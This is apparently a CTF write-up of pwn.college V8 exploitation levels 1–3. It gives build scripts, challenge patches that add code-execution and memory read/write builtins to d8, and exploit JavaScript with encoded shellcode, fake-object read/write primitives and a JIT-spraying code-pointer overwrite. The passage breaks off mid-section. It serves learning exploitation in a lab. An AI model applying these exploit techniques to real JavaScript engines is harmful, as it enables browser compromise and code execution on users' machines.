[PWN COLELGE] - V8 Exploitation Part 1

index

Building V8

First of all, we need to setup our environment for building V8. Follow the instructions on the official V8 documentation to set up depot_tools and fetch the V8 source code. Or you can just run the following script:

1
#!/bin/bash
2

3
# 1. git clone
4
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
5

6
# 2. Prepare to build
7
export PATH=`pwd`/depot_tools:"$PATH"
8
fetch v8
9
cd v8
10
./build/install-build-deps.sh
11
sudo apt-get install ninja-build
12

13
# optional: If you want to build to a specific version, put in commit version
14
git checkout 6538a20aa097f9c05ead98eb88c71819aa1e65aa
15

16
gclient sync
17

18
# optional: If given a patch file from a ctf or similar, patch it with that file
19
# git apply <patchfile>
20

21
# 3.a. build using v8gen.py
22
./tools/dev/v8gen.py x64.release
23
ninja -C ./out.gn/x64.release
24

25
./tools/dev/v8gen.py x64.debug
26
ninja -C ./out.gn/x64.debug
27

28
# 3.b. build using gm.py
29
tools/dev/gm.py x64.release
30
tools/dev/gm.py x64.debug

For convenience when change each levels, you can use this script to auto apply patch, git checkout to specific commit, build:

1
#!/bin/bash
2

3
VER=$1
4
PATCH_FILE=$2
5
NAME=${3:-$VER}
6

7
if [ -z "$VER" ]; then
8
    echo "Usage: $0 <commit_hash> <patch_file> [build_name]"
9
    exit 1
10
fi
11

12
# Change to V8 directory
13
cd ~/pwn_college/v8/v8/ || { echo "Failed to change directory"; exit 1; }
14

15
git reset --hard "$VER" || { echo "Failed to reset to commit $VER"; exit 1; }
16

17
gclient sync -D || { echo "Failed to sync dependencies"; exit 1; }
18

19
if [ -n "$PATCH_FILE" ]; then
20
    if [ -f "$PATCH_FILE" ]; then
21
        git apply "$PATCH_FILE" || { echo "Failed to apply patch $PATCH_FILE"; exit 1; }
22
    else
23
        echo "Patch file $PATCH_FILE not found"
24
        exit 1
25
    fi
26
fi
27

28
# Change build configuration as needed
29
gn gen out/x64_$NAME.release --args='is_component_build = false is_debug = false target_cpu = "x64" v8_enable_sandbox = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true dcheck_always_on = false use_goma = false v8_code_pointer_sandboxing = false' || { echo "Failed to generate build configuration"; exit 1; }
30

31
ninja -C out/x64_$NAME.release d8 || { echo "Build failed"; exit 1; }
32

33
echo "Build completed successfully"

Level 1

Patch Analysis

1
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
2
index ea45a7ada6b..c840e568152 100644
3
--- a/src/builtins/builtins-array.cc
4
+++ b/src/builtins/builtins-array.cc
5
@@ -24,6 +24,8 @@
6
 #include "src/objects/prototype.h"
7
 #include "src/objects/smi.h"
8

9
+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
10
+
3 collapsed lines
11
 namespace v8 {
12
 namespace internal {
13

14
@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
15
   return *isolate->factory()->NewNumberFromUint((new_length));
16
 }
17

18
+BUILTIN(ArrayRun) {
19
+  HandleScope scope(isolate);
20
+  Factory *factory = isolate->factory();
21
+  Handle<Object> receiver = args.receiver();
22
+
23
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
24
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
25
+      factory->NewStringFromAsciiChecked("Nope")));
26
+  }
27
+
28
+  Handle<JSArray> array = Cast<JSArray>(receiver);
29
+  ElementsKind kind = array->GetElementsKind();
30
+
31
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
32
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
33
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
34
+  }
35
+
36
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
37
+  if (sizeof(double) * (uint64_t)length > 4096) {
38
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
39
+      factory->NewStringFromAsciiChecked("array too long")));
40
+  }
41
+
42
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
43
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
44
+  if (mem == (double *)-1) {
45
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
46
+      factory->NewStringFromAsciiChecked("mmap failed")));
47
+  }
48
+
49
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
50
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
51
+    double x = elements->get_scalar(i);
52
+    mem[i] = x;
53
+  });
54
+
55
+  ((void (*)())mem)();
56
+  return 0;
57
+}
58
+
68 collapsed lines
59
 namespace {
60

61
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
62
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
63
index 78cbf8874ed..4f3d885cca7 100644
64
--- a/src/builtins/builtins-definitions.h
65
+++ b/src/builtins/builtins-definitions.h
66
@@ -421,6 +421,7 @@ namespace internal {
67
   TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)                          \
68
   /* ES6 #sec-array.prototype.push */                                          \
69
   CPP(ArrayPush)                                                               \
70
+  CPP(ArrayRun)                                                                \
71
   TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel)                         \
72
   /* ES6 #sec-array.prototype.shift */                                         \
73
   CPP(ArrayShift)                                                              \
74
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
75
index 9a346d134b9..58fd42e59a4 100644
76
--- a/src/compiler/typer.cc
77
+++ b/src/compiler/typer.cc
78
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
79
       return Type::Receiver();
80
     case Builtin::kArrayUnshift:
81
       return t->cache_->kPositiveSafeInteger;
82
+  case Builtin::kArrayRun:
83
+    return Type::Receiver();
84

85
     // ArrayBuffer functions.
86
     case Builtin::kArrayBufferIsView:
87
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
88
index facf0d86d79..382c015bc48 100644
89
--- a/src/d8/d8.cc
90
+++ b/src/d8/d8.cc
91
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
92

93
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
94
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
95
-  global_template->Set(Symbol::GetToStringTag(isolate),
96
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
97
                        String::NewFromUtf8Literal(isolate, "global"));
98
   global_template->Set(isolate, "version",
99
                        FunctionTemplate::New(isolate, Version));
100
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
101
   global_template->Set(isolate, "readline",
102
                        FunctionTemplate::New(isolate, ReadLine));
103
   global_template->Set(isolate, "load",
104
-                       FunctionTemplate::New(isolate, ExecuteFile));
105
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
106
   global_template->Set(isolate, "setTimeout",
107
                        FunctionTemplate::New(isolate, SetTimeout));
108
   // Some Emscripten-generated code tries to call 'quit', which in turn would
109
   // call C's exit(). This would lead to memory leaks, because there is no way
110
   // we can terminate cleanly then, so we need a way to hide 'quit'.
111
-  if (!options.omit_quit) {
112
+/*  if (!options.omit_quit) {
113
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
114
   }
115
   global_template->Set(isolate, "testRunner",
116
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
117
   if (i::v8_flags.expose_async_hooks) {
118
     global_template->Set(isolate, "async_hooks",
119
                          Shell::CreateAsyncHookTemplate(isolate));
120
-  }
121
+  }*/
122

123
   return global_template;
124
 }
125
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
126
index 48249695b7b..40a762c24c8 100644
127
--- a/src/init/bootstrapper.cc
128
+++ b/src/init/bootstrapper.cc
129
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
130

131
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
132
                           true);
133
+    SimpleInstallFunction(isolate_, proto, "run",
134
+                          Builtin::kArrayRun, 0, false);
135
     SimpleInstallFunction(isolate_, proto, "concat",
136
                           Builtin::kArrayPrototypeConcat, 1, false);
137
     SimpleInstallFunction(isolate_, proto, "copyWithin",

From the patch, we can see that a new builtin function ArrayRun is added to the V8 engine. From the implementation, it expects a JavaScript array of double numbers, maps a memory region with read, write, and execute permissions, copies the double values from the array into this memory region, and then executes the code at that memory location.

Their are some important checks in the code:

1
  // Check that receiver is a JSArray with only simple elements.
2
  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
3
    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
4
      factory->NewStringFromAsciiChecked("Nope")));
5
  }

This check ensures that the receiver is indeed a JavaScript array and that it only contains simple elements.

Note (JSArray and Simple Receiver Elements)

In V8, a JSArray is the internal representation of a real JavaScript Array. The HasOnlySimpleReceiverElements(...) check is a fast-path safety guard: it ensures element access behaves like a plain array with no special/observable lookup behavior. Concretely, it means:

No indexed accessors/interceptors on the array’s elements: the array does not have custom element access semantics (e.g., no getters/setters or interceptors that would run code when reading/writing arr[i]).
No indexed elements on the prototype chain: none of the prototypes contain indexed elements, so arr[i] cannot fall back to prototypes and change behavior.

This check does not by itself guarantee the array is packed/contiguous (no holes) or non-sparse, and it has nothing to do with Map/Set. Those properties are typically enforced by separate checks (e.g., inspecting the array’s ElementsKind such as PACKED_DOUBLE_ELEMENTS).

The seccond check is:

1
  ElementsKind kind = array->GetElementsKind();
2

3
  if (kind != PACKED_DOUBLE_ELEMENTS) {
4
    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
5
      factory->NewStringFromAsciiChecked("Need array of double numbers")));
6
  }

This check ensures that the array is of type PACKED_DOUBLE_ELEMENTS, meaning it is a packed array containing only double-precision floating-point numbers.

Note (ElementsKind)

PACKED_DOUBLE_ELEMENTS does not mean every element was originally written as a floating-point literal. It means the array’s elements kind uses the unboxed double representation (a FixedDoubleArray) for fast numeric access.

In this mode, the array is expected to contain only numeric values. If you store an integer (a SMI in V8 terms), V8 can still keep it, but it will be represented as a double in the backing store (i.e., SMIs are not kept as tagged SMIs once the array is in a double-elements kind).

Also, the diagram should be read as a transition graph (how V8 widens/generalizes an array’s representation), not a strict “subset” relationship between element kinds:

“PACKED_SMI_ELEMENTS → upgrades to PACKED_DOUBLE_ELEMENTS when a non-integer number appears”.
“PACKED_DOUBLE_ELEMENTS → upgrades to PACKED_ELEMENTS (tagged) when a non-number/object appears”.
“Introducing holes (e.g., deleting an index or creating sparse indices) typically moves a PACKED_* kind to the corresponding HOLEY_* kind”.

Exploit

1
function itof(bigIntArray) {
2
    const big64 = new BigInt64Array(bigIntArray);
3
    const doubles = new Float64Array(big64.buffer);
4
    return Array.from(doubles);
5
}
6

7
let shellcode = [
8
    16323657644055069034n,
9
    16611888020206780778n,
10
    2608851925472796776n,
11
    7307011539825918209n,
12
    5210783956162667311n,
13
    7308335460934430648n,
14
    6357792841636794478n,
15
    14757395258967590159n
16
];
17

18
let shellcode_double = itof(shellcode);
19
//%DebugPrint(shellcode_double);
20
shellcode_double.run();

Level 2

Patch Analysis


8 collapsed lines
1
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
2
index facf0d86d79..6b31fe2c371 100644
3
--- a/src/d8/d8.cc
4
+++ b/src/d8/d8.cc
5
@@ -1283,6 +1283,64 @@ struct ModuleResolutionData {
6

7
 }  // namespace
8

9
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
10
+  v8::Isolate* isolate = info.GetIsolate();
11
+
12
+  if (info.Length() == 0) {
13
+    isolate->ThrowError("First argument must be provided");
14
+    return;
15
+  }
16
+
17
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
18
+  if (!IsHeapObject(*arg)) {
19
+    isolate->ThrowError("First argument must be a HeapObject");
20
+    return;
21
+  }
22
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
23
+
24
+  uint32_t address = static_cast<uint32_t>(obj->address());
25
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
26
+}
27
+
28
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
29
+  Isolate *isolate = info.GetIsolate();
30
+  if (info.Length() != 1) {
31
+    isolate->ThrowError("Need exactly one argument");
32
+    return;
33
+  }
34
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
35
+  if (!IsNumber(*arg)) {
36
+    isolate->ThrowError("Argument should be a number");
37
+    return;
38
+  }
39
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
40
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
41
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
42
+  uint64_t full_addr = base_addr + (uint64_t)addr;
43
+  uint32_t result = *(uint32_t *)full_addr;
44
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
45
+}
46
+
47
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
48
+  Isolate *isolate = info.GetIsolate();
49
+  if (info.Length() != 2) {
50
+    isolate->ThrowError("Need exactly 2 arguments");
51
+    return;
52
+  }
53
+  internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
54
+  internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
55
+  if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
56
+    isolate->ThrowError("Arguments should be numbers");
57
+    return;
58
+  }
59
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
60
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
61
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
62
+  uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
63
+  uint64_t full_addr = base_addr + (uint64_t)addr;
64
+  *(uint32_t *)full_addr = value;
65
+}
66
+
57 collapsed lines
67
 void Shell::ModuleResolutionSuccessCallback(
68
     const FunctionCallbackInfo<Value>& info) {
69
   DCHECK(i::ValidateCallbackInfo(info));
70
@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
71

72
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
73
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
74
-  global_template->Set(Symbol::GetToStringTag(isolate),
75
+  global_template->Set(isolate, "GetAddressOf",
76
+                       FunctionTemplate::New(isolate, GetAddressOf));
77
+  global_template->Set(isolate, "ArbRead32",
78
+                       FunctionTemplate::New(isolate, ArbRead32));
79
+  global_template->Set(isolate, "ArbWrite32",
80
+                       FunctionTemplate::New(isolate, ArbWrite32));
81
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
82
                        String::NewFromUtf8Literal(isolate, "global"));
83
   global_template->Set(isolate, "version",
84
                        FunctionTemplate::New(isolate, Version));
85
@@ -3385,13 +3449,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
86
   global_template->Set(isolate, "readline",
87
                        FunctionTemplate::New(isolate, ReadLine));
88
   global_template->Set(isolate, "load",
89
-                       FunctionTemplate::New(isolate, ExecuteFile));
90
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
91
   global_template->Set(isolate, "setTimeout",
92
                        FunctionTemplate::New(isolate, SetTimeout));
93
   // Some Emscripten-generated code tries to call 'quit', which in turn would
94
   // call C's exit(). This would lead to memory leaks, because there is no way
95
   // we can terminate cleanly then, so we need a way to hide 'quit'.
96
-  if (!options.omit_quit) {
97
+/*  if (!options.omit_quit) {
98
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
99
   }
100
   global_template->Set(isolate, "testRunner",
101
@@ -3410,7 +3474,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
102
   if (i::v8_flags.expose_async_hooks) {
103
     global_template->Set(isolate, "async_hooks",
104
                          Shell::CreateAsyncHookTemplate(isolate));
105
-  }
106
+  }*/
107

108
   return global_template;
109
 }
110
diff --git a/src/d8/d8.h b/src/d8/d8.h
111
index a19d4a0eae4..476675a7150 100644
112
--- a/src/d8/d8.h
113
+++ b/src/d8/d8.h
114
@@ -507,6 +507,9 @@ class Shell : public i::AllStatic {
115
   };
116
   enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
117

118
+  static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
119
+  static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);
120
+  static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args);
121
   static bool ExecuteString(Isolate* isolate, Local<String> source,
122
                             Local<String> name,
123
                             ReportExceptions report_exceptions,

As we can see, three new functions are added to the d8 shell: GetAddressOf, ArbRead32, and ArbWrite32. Pretty easy to guess what they do from their names.

We just have one thing to note here is that if you look at the implementation of ArbRead32 function, you will notice that, the address it return to us is not a real virtual address, but an offset. This is because V8 uses Pointer Compression to reduce memory usage. Instead of using full 64-bit pointers, it uses 32-bit offsets relative to a base address (the “cage base”). This saves memory but requires calculating the actual address by adding the cage base to the offset.

Exploit

The technique I use here is JIT Spraying, I’ll explain it in detail in the next level (because I deleted the d8 binary after finishing level 2 :D ) or you can read about it here

1
const logInfo = (m) => console.log(`[*] ${m}`);
2
const logOK   = (m) => console.log(`[+] ${m}`);
3
const logErr  = (m) => console.log(`[-] ${m}`);
4

5
// execve("catflag", 0, 0);
6
const shell = () => {return [1.9995716422075807e-246,
7
    1.9710255944286777e-246,
8
    1.97118242283721e-246,
9
    1.971136949489835e-246,
10
    1.9711826272869888e-246,
11
    1.9711829003383248e-246,
12
    -9.254983612527998e+61];}
13

14
// %PrepareFunctionForOptimization(shell);
15
// shell();
16
// %OptimizeFunctionOnNextCall(shell);
17
// shell();
18
// %DebugPrint(shell);
19

20
for(let i = 0; i< 10000; i++) shell();
21
// %DebugPrint(shell);
22

23
let shell_addr = GetAddressOf(shell);
24
logOK("shell @ " + shell_addr);
25

26
let code_ptr = ArbRead32(shell_addr + 0xc);
27
logOK("code_ptr @ " + code_ptr);
28

29
let rwx_addr = ArbRead32(code_ptr - 1 + 0x14);
30
logOK("rwx_addr @ "+ rwx_addr);
31

32
let shellcode_start = rwx_addr +  0x69 + 2;
33
logINfo("shellcode_start @ " + shellcode_start);
34
ArbWrite32(code_ptr - 1 + 0x14,shellcode_start);
35

36
shell();

Level 3

Patch Analysis

1
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
2
index facf0d86d79..0299ed26802 100644
3
--- a/src/d8/d8.cc
4
+++ b/src/d8/d8.cc
5
@@ -1283,6 +1283,52 @@ struct ModuleResolutionData {
6

7
 }  // namespace
8

9
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
10
+  v8::Isolate* isolate = info.GetIsolate();
11
+
12
+  if (info.Length() == 0) {
13
+    isolate->ThrowError("First argument must be provided");
14
+    return;
15
+  }
16
+
17
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
18
+  if (!IsHeapObject(*arg)) {
19
+    isolate->ThrowError("First argument must be a HeapObject");
20
+    return;
21
+  }
22
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
23
+
24
+  uint32_t address = static_cast<uint32_t>(obj->address());
25
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
26
+}
27
+
28
+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
29
+  v8::Isolate *isolate = info.GetIsolate();
30
+  Local<v8::Context> context = isolate->GetCurrentContext();
31
+
32
+  if (info.Length() != 1) {
33
+    isolate->ThrowError("Need exactly one argument");
34
+    return;
35
+  }
36
+
37
+  Local<v8::Uint32> arg;
38
+  if (!info[0]->ToUint32(context).ToLocal(&arg)) {
39
+    isolate->ThrowError("Argument must be a number");
40
+    return;
41
+  }
42
+
43
+  uint32_t addr = arg->Value();
44
+
45
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
46
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
47
+  uint64_t full_addr = base_addr + (uint64_t)addr;
48
+
49
+  internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
50
+  internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
51
+  internal::Handle<internal::Object> obj_handle(obj, i_isolate);
52
+  info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
53
+}
55 collapsed lines
54
+
55
 void Shell::ModuleResolutionSuccessCallback(
56
     const FunctionCallbackInfo<Value>& info) {
57
   DCHECK(i::ValidateCallbackInfo(info));
58
@@ -3364,7 +3410,11 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
59

60
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
61
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
62
-  global_template->Set(Symbol::GetToStringTag(isolate),
63
+  global_template->Set(isolate, "GetAddressOf",
64
+                       FunctionTemplate::New(isolate, GetAddressOf));
65
+  global_template->Set(isolate, "GetFakeObject",
66
+                       FunctionTemplate::New(isolate, GetFakeObject));
67
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
68
                        String::NewFromUtf8Literal(isolate, "global"));
69
   global_template->Set(isolate, "version",
70
                        FunctionTemplate::New(isolate, Version));
71
@@ -3385,13 +3435,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
72
   global_template->Set(isolate, "readline",
73
                        FunctionTemplate::New(isolate, ReadLine));
74
   global_template->Set(isolate, "load",
75
-                       FunctionTemplate::New(isolate, ExecuteFile));
76
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
77
   global_template->Set(isolate, "setTimeout",
78
                        FunctionTemplate::New(isolate, SetTimeout));
79
   // Some Emscripten-generated code tries to call 'quit', which in turn would
80
   // call C's exit(). This would lead to memory leaks, because there is no way
81
   // we can terminate cleanly then, so we need a way to hide 'quit'.
82
-  if (!options.omit_quit) {
83
+/*  if (!options.omit_quit) {
84
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
85
   }
86
   global_template->Set(isolate, "testRunner",
87
@@ -3410,7 +3460,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
88
   if (i::v8_flags.expose_async_hooks) {
89
     global_template->Set(isolate, "async_hooks",
90
                          Shell::CreateAsyncHookTemplate(isolate));
91
-  }
92
+  }*/
93

94
   return global_template;
95
 }
96
diff --git a/src/d8/d8.h b/src/d8/d8.h
97
index a19d4a0eae4..fbb091afbaf 100644
98
--- a/src/d8/d8.h
99
+++ b/src/d8/d8.h
100
@@ -507,6 +507,8 @@ class Shell : public i::AllStatic {
101
   };
102
   enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
103

104
+  static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
105
+  static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args);
106
   static bool ExecuteString(Isolate* isolate, Local<String> source,
107
                             Local<String> name,
108
                             ReportExceptions report_exceptions,

We have two new functions here: GetAddressOf (same as level 2) and GetFakeObject. The GetFakeObject function takes an address (offset) as input, calculates the full virtual address by adding the cage base, and then constructs a V8 HeapObject from that address. It then returns a JavaScript object that represents this heap object.

Exploit

Arbitrary Read/Write Primitive

Next we want an arbitrary read/write primitive — a way to make JavaScript read or write memory addresses we choose (on the V8 heap).

To understand why this works, you need one V8 concept: Maps / HiddenClasses. In V8, the first field of a heap object points to its HiddenClass (Map). That “shape” tells V8 what the object is and how to interpret the bytes that follow — where its properties live, how elements are stored, etc. So when you do something like a[0], V8 first checks the object’s HiddenClass to know how to fetch element 0 correctly.

Arrays are especially interesting because V8 stores indexed elements in a separate elements store (a backing array), rather than inline with the object itself. And V8 even tracks multiple “elements kinds” (e.g., packed vs holey, SMIs vs doubles vs tagged values), which affects how it interprets the backing store.

So why is this important? Well, our next step is to craft a fake object in-memory, then use GetFakeObject() to actually ‘use’ that object. We can write arbitrary content in memory with an array of floats, and we know where that content is with GetAddressOf().

The object we’re going to fake is an array of floats. If we trick JavaScript into treating our crafted memory as an ‘array of floats’ object, we can change the ‘elements’ pointer (which points to the actual contents of the array) to anything we want, and now we have an arbitrary read/write on the JS heap. The code below is my setup and implementation for it (please debug it to understand how it works):

1
let float_arr = [1.1, 2.2, 3.3];
2
// First we construct a fake map in memory
3
// Remember that the first 4 WORDS (0x10 bytes || WORDS = 4 bytes in this case we
4
// work with 32-bits address) of one object look like this:
5
// map | properties | elements | length
6
let fake_map = [itof(0x123456789abcdefn), 1.1, 1.1, 1.1];
7
let fake_map_addr = GetAddressOf(fake_map);
8
// Address of the content of the fake map
9
// So that we can use GetFakeObject on it to create a fake object
10
let element_addr = fake_map_addr - 0x20;
11
// Write a fake map pointer at the start of our float array
12
fake_map[0] = itof(0x1cb8a5n);
13

14
function arbRead(addr) {
15
    addr = BigInt(addr);
16

17
    if (addr % 2n == 0n) {
18
        addr += 1n;
19
    }
20

21
    fake_map[1] = itof(0x600000000n + (addr - 8n));
22
    let fake_obj = GetFakeObject(element_addr);
23
    return ftoi(fake_obj[0]);
24
}
25

26
function arbWrite(addr, val) {
27
    addr = BigInt(addr);
28
    val  = BigInt(val);
29

30
    if (addr % 2n == 0n) {
31
        addr += 1n;
32
    }
33

34
    fake_map[1] = itof(0x600000000n + (addr - 8n));
35
    let fake_obj = GetFakeObject(element_addr);
36
    fake_obj[0] = itof(val);
37
}

JIT-Spraying

To get code execution, we can leverage the JIT compiler to generate RWX memory for us. The idea is to create a function that enough “hot” to trigger optimization by the JIT compiler. Once optimized, we can inspect the function’s memory layout to find the RWX memory region where the JIT-compiled code resides. We can then overwrite this region with our shellcode and execute it. Let’s see how we can do this:

1
const shell = () => {
2
    return [ 2261634.5098039214, 156842099844.51764 ];
3
};
4

5
for (let i=0; i<10000; i++) {
6
    shell();
7
};
8

9
%DebugPrint(shell);
10
%SystemBreak();

Debug in gdb until the SystemBreak and inspect the shell function:

1
pwndbg> job 0x392600043a55
2
0x392600043a55: [Function]
3
 - map: 0x3926001c0a9d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
4
 - prototype: 0x3926001c0951 <JSFunction (sfi = 0x392600141889)>
5
 - elements: 0x392600000725 <FixedArray[0]> [HOLEY_ELEMENTS]
6
 - function prototype: <no-prototype-slot>
7
 - shared_info: 0x3926001d3b39 <SharedFunctionInfo shellcode>
8
 - name: 0x3926001d3791 <String[9]: #shellcode>
9
 - formal_parameter_count: 0
10
 - kind: ArrowFunction
11
 - context: 0x3926001d3cd9 <ScriptContext[12]>
12
 - code: 0x392600240241 <Code MAGLEV>
13
 - source code: () => {
14
    return [ 2261634.5098039214, 156842099844.51764 ];
15
}
16
 - properties: 0x392600000725 <FixedArray[0]>
17
 - All own properties (excluding elements): {
18
    0x392600000d99: [String] in ReadOnlySpace: #length: 0x392600026099 <AccessorInfo name= 0x392600000d99 <String[6]: #length>, data= 0x392600000069 <undefined>> (const accessor descriptor, attrs: [__C]), location: descriptor
19
    0x392600000dc5: [String] in ReadOnlySpace: #name: 0x392600026079 <AccessorInfo name= 0x392600000dc5 <String[4]: #name>, data= 0x392600000069 <undefined>> (const accessor descriptor, attrs: [__C]), location: descriptor
20
 }
21
 - feedback vector: 0x3926001d3f99: [FeedbackVector] in OldSpace
22
 - map: 0x3926000007e1 <Map(FEEDBACK_VECTOR_TYPE)>
23
 - length: 1
24
 - shared function info: 0x3926001d3b39 <SharedFunctionInfo shellcode>
25
 - no optimized code
26
 - tiering state: TieringState::kNone
27
 - maybe has maglev code: 0
28
 - maybe has turbofan code: 0
29
 - invocation count: 9992
30
 - closure feedback cell array: 0x3926000020bd: [ClosureFeedbackCellArray] in ReadOnlySpace
31
 - map: 0x3926000007b9 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
32
 - length: 0
33
 - elements:
34

35
 - slot #0 Literal  {
36
     [0]: 0x3926001d4055 <AllocationSite>
37
  }
38
pwndbg> x/10xg 0x392600240241-1+0x14
39
0x392600240254: 0x00005af6d7c80800      0x00000124800000ab
40
0x392600240264: 0x0000000000000028      0x00000028ffffffff
41
0x392600240274: 0x0000002800000028      0x000005bdffff0001
42
0x392600240284: 0x0024033900000058      0x002403fd00000002
43
0x392600240294: 0x0000001a0000016c      0x002403f500000002
44
pwndbg> vmmap 0x00005af6d7c80800
45
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
46
               Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
47
      0x392600340000     0x392700000000 ---p ffcc0000       0 [anon_392600340]
48
►     0x5af6d7c80000     0x5af6f7c80000 rwxp 20000000       0 [anon_5af6d7c80] +0x800
49
      0x5af6fa156000     0x5af6fb2a9000 r--p  1153000       0 d8

From the above, we can see that the RWX memory region starts at 0x5af6d7c80000. Let’s examine that address to find our shellcode:

1
